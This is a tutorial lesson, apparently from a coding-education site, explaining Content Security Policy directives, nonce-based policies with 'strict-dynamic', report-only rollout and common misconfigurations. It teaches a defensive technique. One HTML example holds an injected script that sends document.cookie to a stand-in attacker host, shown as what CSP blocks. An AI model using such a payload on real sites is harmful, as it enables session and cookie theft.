Content Security Policy in Depth

Intermediate
12 min

Content Security Policy in Depth

Output encoding is your first defense against cross-site scripting, but one missed template or one careless third-party widget is enough to reintroduce it. Content Security Policy (CSP) is the second layer: an HTTP header that tells the browser which scripts, styles and other resources a page is allowed to load and execute. Even if an attacker injects a <script> tag, a well-built CSP stops it from running.

In this lesson you will learn how the main directives work, how to build a nonce-based "strict" policy in Express, how to roll it out safely with report-only mode, and the mistakes that make a policy useless.

How CSP Works

The server sends a Content-Security-Policy header. Each directive names a resource type and a list of allowed sources:

http
Content-Security-Policy: default-src 'self'; script-src 'nonce-R4nd0m' 'strict-dynamic'; object-src 'none'; base-uri 'self'; frame-ancestors 'none'

The browser then refuses anything not on the list. Crucially, when script-src is present, inline scripts and eval() are blocked by default. That single rule removes the payload of most XSS attacks, because injected code is almost always inline.

The Directives That Matter

| Directive | Controls | Recommended value | |---|---|---| | default-src | Fallback for every other fetch directive | 'self' | | script-src | JavaScript execution | nonce plus 'strict-dynamic' | | style-src | Stylesheets | 'self' (or a nonce) | | img-src, font-src, connect-src | Images, fonts, fetch/XHR/WebSocket targets | 'self' plus your CDN or API | | object-src | Plugins such as Flash-era embeds | 'none' | | base-uri | The <base> tag, which can redirect relative script URLs | 'self' | | frame-ancestors | Who may embed this page in an iframe (clickjacking) | 'none' or your own origin | | form-action | Where forms may submit | 'self' |

frame-ancestors supersedes the older X-Frame-Options header, and base-uri and object-src close two well-known bypasses; always include all three.

Nonces and strict-dynamic

Host allowlists (script-src cdn.example.com) were the original approach, but they fail as soon as the CDN hosts any abusable script. The modern recommendation is a nonce-based policy:

  1. Generate a random nonce per response (the sample code uses 16 random bytes).
  2. Put it in the header and on every legitimate <script> tag.
  3. Add 'strict-dynamic' so scripts loaded by a nonced script are trusted too, without listing their hosts.
html
<!-- Allowed: carries the nonce for this response --> <script nonce="<%= nonce %>" src="/app.js"></script> <!-- Blocked: injected by an attacker, no valid nonce --> <script>fetch("https://attacker.example.com/?c=" + document.cookie)</script>

Because the nonce changes on every response, the attacker cannot guess it. Never reuse a nonce across responses and never cache a page that contains one.

Rolling Out with Report-Only

Deploying a strict policy on an existing site breaks things you forgot about: inline event handlers, an analytics snippet, a legacy widget. Start in report-only mode, which logs violations without blocking:

http
Content-Security-Policy-Report-Only: default-src 'self'; script-src 'nonce-…' 'strict-dynamic'; report-uri /csp-report

The browser posts a JSON document describing each violation (blocked-uri, violated-directive, document-uri) to /csp-report. Collect these for a week, fix the legitimate cases by adding nonces or moving inline code into files, then switch the header name to Content-Security-Policy. Helmet supports this with reportOnly: true.

Common Mistakes

  • 'unsafe-inline' in script-src. It re-enables inline scripts and defeats the purpose of the policy.
  • Wildcards such as https: or *.cloudfront.net, which trust thousands of unrelated sites.
  • Omitting object-src and base-uri. Both provide script-execution paths that bypass script-src.
  • Setting CSP in a <meta> tag when a header is possible; frame-ancestors and report directives are ignored in meta.
Quick Quiz
Question 1 of 2

Why does a nonce-based policy stop an injected `<script>` tag?

Key Takeaways

  • CSP is a browser-enforced allowlist that blocks inline scripts by default, containing XSS even when encoding fails.
  • Prefer a per-response nonce with 'strict-dynamic' over host allowlists.
  • Always set object-src 'none', base-uri 'self' and frame-ancestors to close known bypasses.
  • Roll out with Content-Security-Policy-Report-Only and a report endpoint before enforcing.
  • Never add 'unsafe-inline' or broad wildcards to script-src.

Next lesson: File Upload Security — validating, storing and serving user files without turning your server into a malware host.

Content Security Policy in Depth - Cyber Security | CodeYourCraft | CodeYourCraft